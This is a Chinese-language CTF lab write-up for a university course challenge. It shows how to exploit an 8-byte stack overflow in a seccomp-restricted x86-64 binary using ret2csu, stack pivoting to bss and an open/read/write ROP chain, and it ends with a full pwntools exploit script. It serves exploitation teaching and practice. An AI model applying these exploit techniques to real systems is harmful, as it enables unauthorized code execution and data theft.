题目链接:https://tangzichengcc.github.io/2023/04/04/ucas-高级网络攻防-实验二-pwn1-栈/rop
课上的pwn的练习1,总结来说基础差的太多,一个是漏洞基础,应该先对相应的漏洞的简单题多练一练,深入理解原理,不然后面遇到一点问题就卡住了,另外还是有很多底层的原理,基础知识需要补.
第一章 解题过程描述 一. 攻击流程图
二. 详细解题过程 1.ida反汇编查看伪代码 可以发现有install_seccomp(argc, argv, envp);函数,说明安装了保护
漏洞点在vuln函数中,存在栈溢出,但只能溢出8字节,显然空间非常需要,需要利用其他技术来布置后续攻击代码
2. seccomp保护 利用工具seccomp-tools查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 root@VM-24-10-ubuntu:/tmp/330# seccomp-tools dump ./rop line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 0014 0004: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0013 0005: 0x15 0x07 0x00 0x00000101 if (A == openat) goto 0013 0006: 0x15 0x06 0x00 0x000001b5 if (A == 0x1b5) goto 0013 0007: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0013 0008: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0013 0009: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0013 0010: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0013 0011: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0013 0012: 0x06 0x00 0x00 0x00050005 return ERRNO(5) 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x06 0x00 0x00 0x00000000 return KILL
这段代码的作用是在64位的x86架构上过滤掉不需要的系统调用,只允许执行一些特定的系统调用。如果系统调用是这些特定的系统调用之一,则允许执行,否则拒绝执行。
具体允许的只有open,read,write,exit及其变种. 并且限制了架构,不能使用其他架构下的系统调用. 那么常用的方法是,构造orw链,利用open read write系统调用来读取和打印flag文件.
3. 寻找gadget 3.1 orw 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 .plt.sec:0000000000401100 _open proc near ; CODE XREF: some_gifts+1D↓p .plt.sec:0000000000401100 endbr64 .plt.sec:0000000000401104 bnd jmp cs:off_404040 .plt.sec:0000000000401104 _open endp .plt.sec:00000000004010D0 _read proc near ; CODE XREF: vuln+40↓p .plt.sec:00000000004010D0 endbr64 .plt.sec:00000000004010D4 bnd jmp cs:off_404028 .plt.sec:00000000004010D4 _read endp .plt.sec:00000000004010C0 _write proc near ; CODE XREF: main+88↓p .plt.sec:00000000004010C0 ; main+9E↓p .plt.sec:00000000004010C0 endbr64 .plt.sec:00000000004010C4 bnd jmp cs:off_404020 .plt.sec:00000000004010C4 _write endp
或者用elf.plt[‘read’]来获取
3.2 gadget amd64-64-little, x64架构下,目前应用的调用约定是fastcal,前三个传参的寄存器是rdi rsi rdx
利用工具ROPgadget寻找可用的gadget,找到了rdi和rsi,未找到rdx,rdx的值并不一定总会影响函数的调用,要根据具体情况而定,在本题中,经过测试是会影响的,在read读取flag的时候,rdx代表着读取的长度,经过调试发现被设置为了0,所以读取的是空的.因此需要找到一个能设置rdx寄存器的gadget,会在后续章节说明.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 root@VM-24-10-ubuntu:/tmp/330# ROPgadget --binary rop --only 'pop|ret' Gadgets information ============================================================ 0x000000000040147c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040147e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000401480 : pop r14 ; pop r15 ; ret 0x0000000000401482 : pop r15 ; ret 0x000000000040147b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040147f : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000004011fd : pop rbp ; ret 0x0000000000401483 : pop rdi ; ret 0x0000000000401481 : pop rsi ; pop r15 ; ret 0x000000000040147d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040101a : ret 0x0000000000401277 : ret 0x2be Unique gadgets found: 12 0x0000000000401483 : pop rdi ; ret 0x0000000000401481 : pop rsi ; pop r15 ; ret
3.2.1 ret2csu 不同架构的csu代码是不一样的,要根据具体情况而定,就此题的架构而言,csu代码如下
先执行loc_401476里面的代码,进行pop赋值,ret后再执行loc_401460的代码,对传参寄存器进行赋值,然后再利用call 转移控制流
rdi rsi rdx 分别对应着第一次要输入的 r12,r13,r14,call的地址是[r15+rbx*8],可以设置r15为存储跳转地址的地址,rbx为0
设置rbp为1,rbx为0,即可继续往下执行
3.2.2 栈迁移的gadget 由于只能溢出8字节,是不够布置gadget链的,需要扩展栈空间,通常用的手法是进行栈迁移,移动到一个更大的空间去
leave == mov rsp,rbp;pop rbp; ret == pop rip #弹出栈顶数据给rip寄存器
利用两次leave;ret; 即可控制rsp
mov rsp,rbp; //第一个rbp不受我们的控制,但是下面pop的rbp可以被我们更改,从而就可以控制第二个leave里面的rsp pop rbp; mov rsp,rbp; pop rbp; pop rip
1 2 3 4 root@VM-24-10-ubuntu:/home/ubuntu/330# ROPgadget --binary rop --only 'leave|ret' Gadgets information ============================================================ 0x00000000004012a7 : leave ; ret
4. 迁移到bss
只迁移是不够的,同时应该做到在迁移到的新地方布置好rop链,一个想法是,调用vuln()函数中的read,既可以读取0x110的数据,最后也有leave;ret;
1 2 3 4 5 6 7 8 9 .text:0000000000401304 loc_401304: ; CODE XREF: vuln+20↑j .text:0000000000401304 lea rax, [rbp+buf] .text:000000000040130B mov edx, 110h ; nbytes .text:0000000000401310 mov rsi, rax ; buf .text:0000000000401313 mov edi, 0 ; fd .text:0000000000401318 call _read .text:000000000040131D nop .text:000000000040131E leave .text:000000000040131F retn
但是这里有一个问题,数据被写入的地方不是rbp,而是rbp-0x100,而经过两次leave;ret;后修改的rsp的值是原始rbp的值,所以还是到达不了rop链的位置,因此,需要第三次的leave;ret;再次修正rsp的位置,这样的话,在第二次leave;ret;的时候,rbp设置为写入地址-0x108,然后第三次leave;ret;就把rsp设置为了rop链的开头
设置成0x108是因为在最后一个leave;ret;的时候,mov rsp,rbp,转移栈成功后,要pop出来rbp然后栈往下移动8字节,这个多的0x8用来抵消pop rbp.
5. 构造ROP链, 实现orw 5.1 构造orw 1 2 3 4 5 payload1 = p64(poprdi) + p64("0" ) + p64(poprsi)+ p64(bssaddr2) +p64(0 )+ p64(readaddr) payload1 += p64(poprdi) + p64(bssaddr2) + p64(poprsi) + p64(0 )+p64(0 )+p64(openaddr) payload1 += p64(poprdi) + p64(3 ) + p64(poprsi) + p64(bssaddr2) +p64(0 )+ p64(readaddr) payload1 += p64(poprdi) + p64(1 ) + p64(poprsi) + p64(bssaddr2) +p64(0 ) +p64(writeaddr)
四行的用途分别是
从用户标准输入中读取 ./flag 字符,用于后面的open
open ./flag 这个文件,得到文件句柄3
read 读取具柄3,读取到bss区域
write 将flag所在bss区域内容输入到标准输出中
在调试中可以看到,在执行第三行操作,即read时,rdx的值被设置成了0,于是需要设置rdx的gadget
5.2 利用ret2csu构造 read的参数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 csu_front_addr = 0x0000000000401460 csu_end_addr = 0x000000000040147a def csu(rbx, rbp, r12, r13, r14, r15): # rdi rsi rdx 分别对应着 r12,r13,r14 # call的地址是[r15+rbx*8], 可以设置r15为地址,rbx为0 # r15这个地址存储的数据是要call的函数的地址 payloadtemp = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payloadtemp += p64(csu_front_addr) return payloadtemp # r12 + rbx*8 = 0x0004010C0 temp = csu(0,1,3,bssaddr2,50,0x0404e24)
要call的地址是[r15+rbx*8], 所以需要找到一个地址,存储着read函数的地址,在尝试利用5.1节第一行payload中存储rop链的中的bss地址中的read地址时发现,后面会被覆盖掉.可以在payload之后,再加上read函数的地址. 计算或者调试出存储其地址的地址.
5.3 利用ret2csu继续构造 write的参数 在上一步时,设置rbx=1,rbp=1,即可以让程序继续往下执行,进入第二轮ret2csu,与5.2中的方法类似,构造write的参数
完整exp见附录
第二章 题目技术点总结 一. ORW ORW利用了Linux中的open/read/write系统调用来执行操作,通常在限制了系统调用的时候使用,在ctf中根本目标是获取flag,所以在拿不到系统权限的时候可以通过该中方法进行获取flag.
orw有很多种不同的系统调用可以使用,并且在不同架构下也有不一样的,根据seccomp具体的限制可以使用不同的方法.
需要注意的是,在做题目时,要根据具体的系统版本来寻找系统调用,在最新版本中有可能加入新的可用的系统调用.
二. seccomp seccomp是一种在ctf pwn中常用的安全机制,可用于限制程序对系统调用的访问。通过使用seccomp,可以有效地降低程序受到攻击的风险。
三. ret2csu ret2csu是一种在ctf pwn中常用的技术,可用于在程序没有可用的gadget的情况下构造ROP链。它利用了一个特殊的函数__libc_csu_init来调用函数,并利用程序的堆栈来构造ROP链。
四. 栈迁移 可用于在程序栈空间不足的情况下,通过将栈迁移到bss段、堆等来执行攻击,也可以利用sub rsp等gadget来增加栈的长度.通常使用的是leave;ret;方法,第一次leave;ret;控制rbp,第二次可以控制rsp
第三章 错误处理 一. open时出错 bss段给的地址太小,在动态解析的时候,栈会移动到不可写的地方,导致出错,将bss往后移动多一点即可
二. orw(不设置rdx) 本地可以打通,远程不可以 是libc版本的问题,把版本切换到2.27(题目版本)后即可发现,在read时,rdx被设置为了0,因此需要找到能够设置rdx的gadget
参考资料 https://blog.csdn.net/qq_34010404/article/details/123809796
https://blog.csdn.net/mcmuyanga/article/details/113389703
https://blog.csdn.net/qq_45691294/article/details/112196127
https://blog.csdn.net/qq_41696518/article/details/126665825
https://blog.csdn.net/qq_41202237/article/details/105913597
https://xz.aliyun.com/t/12189
附录: exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *import timesh = remote("xxxx" ,52017 ) context.log_level= "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] bssaddr = 0x0040412C + 0xd00 retaddr = 0x0000401304 readaddr = 0x0004010D0 openaddr = 0x00401100 writeaddr = 0x0004010C0 csu_front_addr = 0x0000000000401460 csu_end_addr = 0x000000000040147a def csu (rbx, rbp, r12, r13, r14, r15 ): payloadtemp = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payloadtemp += p64(csu_front_addr) return payloadtemp def csu2 (rbp, r12, r13, r14, r15 ): payloadtemp = p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payloadtemp += p64(csu_front_addr) return payloadtemp sh.sendlineafter("choice:" ,str (4919 )) payload =b"a" *256 + p64(bssaddr) + p64(retaddr) sh.send(payload) poprdi = 0x0000401483 poprsi = 0x0000401481 bssaddr2 = bssaddr + 0x20 leave_ret = 0x0040131E payload1 = p64(poprdi) + p64(0 ) + p64(poprsi)+ p64(bssaddr2) +p64(0 )+ p64(readaddr) payload1 += p64(poprdi) + p64(bssaddr2) + p64(poprsi) + p64(0 )+p64(0 )+p64(openaddr) temp = csu(0 ,1 ,3 ,bssaddr2,50 ,0x404e0c ) payload1 += temp temp2 = csu(0 ,1 ,1 ,bssaddr2,50 ,0x404e14 ) payload1 += temp2 + p64(readaddr) + p64(writeaddr) print ("len:" ,len (payload1))payload1 = payload1.ljust(0x100 ,b"a" ) payload1 += p64(bssaddr-0x108 ) + p64(leave_ret) sh.send(payload1) sh.send("./flag\x00" ) sh.recv(1024 ) sh.interactive()